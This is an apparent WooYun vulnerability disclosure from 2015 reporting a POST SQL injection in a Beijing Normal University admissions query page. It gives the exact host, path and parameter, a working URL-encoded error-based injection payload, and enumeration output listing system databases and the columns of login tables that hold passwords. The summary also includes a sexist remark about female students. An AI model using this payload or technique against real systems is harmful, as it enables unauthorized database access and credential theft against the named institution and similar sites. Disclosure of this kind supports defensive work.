漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-096629
漏洞标题：北师大某站POST注入漏洞
相关厂商：CCERT教育网应急响应组
漏洞作者： 胡来大师
提交时间：2015-02-14 08:49
修复时间：2015-02-19 08:50
公开时间：2015-02-19 08:50
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-02-14： 细节已通知厂商并且等待厂商处理中
2015-02-19： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
POST注入漏洞，可脱数据库，据说师大妹子多啊。。。。
详细说明：
问题站点：admission.bnu.edu.cn:8080/gklqjgcx/gklqcxjg.asp
POST参数：KH='%2b(select%20convert(int%2cCHAR(52)%2bCHAR(67)%2bCHAR(117)%2bCHAR(54)%2bCHAR(97)%2bCHAR(109)%2bCHAR(97)%2bCHAR(80)%2bCHAR(68)%2bCHAR(122)%2bCHAR(55))%20FROM%20syscolumns)%2b'&KSHZKZH=KSH&XM=1
漏洞证明：
点到为止的跑了两个库：
Database: master
[38 tables]
+--------------------------------------------+
| INFORMATION_SCHEMA.CHECK_CONSTRAINTS |
| INFORMATION_SCHEMA.COLUMNS |
| INFORMATION_SCHEMA.COLUMN_DOMAIN_USAGE |
| INFORMATION_SCHEMA.COLUMN_PRIVILEGES |
| INFORMATION_SCHEMA.CONSTRAINT_COLUMN_USAGE |
| INFORMATION_SCHEMA.CONSTRAINT_TABLE_USAGE |
| INFORMATION_SCHEMA.DOMAINS |
| INFORMATION_SCHEMA.DOMAIN_CONSTRAINTS |
| INFORMATION_SCHEMA.KEY_COLUMN_USAGE |
| INFORMATION_SCHEMA.PARAMETERS |
| INFORMATION_SCHEMA.REFERENTIAL_CONSTRAINTS |
| INFORMATION_SCHEMA.ROUTINES |
| INFORMATION_SCHEMA.ROUTINE_COLUMNS |
| INFORMATION_SCHEMA.SCHEMATA |
| INFORMATION_SCHEMA.TABLES |
| INFORMATION_SCHEMA.TABLE_CONSTRAINTS |
| INFORMATION_SCHEMA.TABLE_PRIVILEGES |
| INFORMATION_SCHEMA.VIEWS |
| INFORMATION_SCHEMA.VIEW_COLUMN_USAGE |
| INFORMATION_SCHEMA.VIEW_TABLE_USAGE |
| MSreplication_options |
| resultcmd_cc |
| siweb3file |
| spt_datatype_info_ext |
| spt_datatype_info_ext |
| spt_fallback_db |
| spt_fallback_dev |
| spt_fallback_usg |
| spt_monitor |
| spt_provider_types |
| spt_server_info |
| spt_values |
| sysconstraints |
| syslogins |
| sysoledbusers |
| sysopentapes |
| sysremotelogins |
| syssegments |
+--------------------------------------------+
Database: msdb
[84 tables]
+-----------------------------+
| RTblClassDefs |
| RTblClassExtension |
| RTblDBMProps |
| RTblDBXProps |
| RTblDTMProps |
| RTblDTSProps |
| RTblDatabaseVersion |
| RTblEQMProps |
| RTblEnumerationDef |
| RTblEnumerationValueDef |
| RTblGENProps |
| RTblIfaceDefs |
| RTblIfaceHier |
| RTblIfaceMem |
| RTblMDSProps |
| RTblNamedObj |
| RTblOLPProps |
| RTblParameterDef |
| RTblPropDefs |
| RTblProps |
| RTblRelColDefs |
| RTblRelshipDefs |
| RTblRelshipProps |
| RTblRelships |
| RTblSIMProps |
| RTblScriptDefs |
| RTblSites |
| RTblSumInfo |
| RTblTFMProps |
| RTblTypeInfo |
| RTblTypeLibs |
| RTblUMLProps |
| RTblUMXProps |
| RTblVersionAdminInfo |
| RTblVersions |
| RTblWorkspaceItems |
| backupfile |
| backupmediafamily |
| backupmediaset |
| backupset |
| log_shipping_databases |
| log_shipping_monitor |
| log_shipping_plan_databases |
| log_shipping_plan_history |
| log_shipping_plans |
| log_shipping_primaries |
| log_shipping_secondaries |
| logmarkhistory |
| mswebtasks |
| restorefilegroup |
| restorefilegroup |
| restorehistory |
| siweb3file |
| sqlagent_info |
| sysalerts |
| syscachedcredentials |
| syscategories |
| sysconstraints |
| sysdbmaintplan_databases |
| sysdbmaintplan_history |
| sysdbmaintplan_jobs |
| sysdbmaintplans |
| sysdownloadlist |
| sysdtscategories |
| sysdtspackagelog |
| sysdtspackages |
| sysdtssteplog |
| sysdtstasklog |
| sysjobhistory |
| sysjobs_view |
| sysjobs_view |
| sysjobschedules |
| sysjobservers |
| sysjobsteps |
| sysnotifications |
| sysoperators |
| syssegments |
| systargetservergroupmembers |
| systargetservergroups |
| systargetservers_view |
| systargetservers_view |
| systaskids |
| systasks_view |
| systasks_view |
+-----------------------------+
Database: master
Table: sysoledbusers
[6 columns]
+-------------+-----------+
| Column | Type |
+-------------+-----------+
| changedate | datetime |
| loginsid | varbinary |
| rmtloginame | nvarchar |
| rmtpassword | nvarchar |
| rmtsrvid | smallint |
| status | smallint |
+-------------+-----------+
Database: master
Table: syslogins
[28 columns]
+---------------+-----------+
| Column | Type |
+---------------+-----------+
| language | nvarchar |
| accdate | datetime |
| bulkadmin | int |
| createdate | datetime |
| dbcreator | int |
| dbname | nvarchar |
| denylogin | int |
| diskadmin | int |
| hasaccess | int |
| isntgroup | int |
| isntname | int |
| isntuser | int |
| loginname | nvarchar |
| name | nvarchar |
| password | nvarchar |
| processadmin | int |
| resultlimit | int |
| securityadmin | int |
| serveradmin | int |
| setupadmin | int |
| sid | varbinary |
| spacelimit | int |
| status | smallint |
| sysadmin | int |
| timelimit | int |
| totcpu | int |
| totio | int |
| updatedate | datetime |
+---------------+-----------+
修复方案：
版权声明：转载请注明来源 胡来大师@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2015-02-19 08:50
厂商回复：
最新状态：
暂无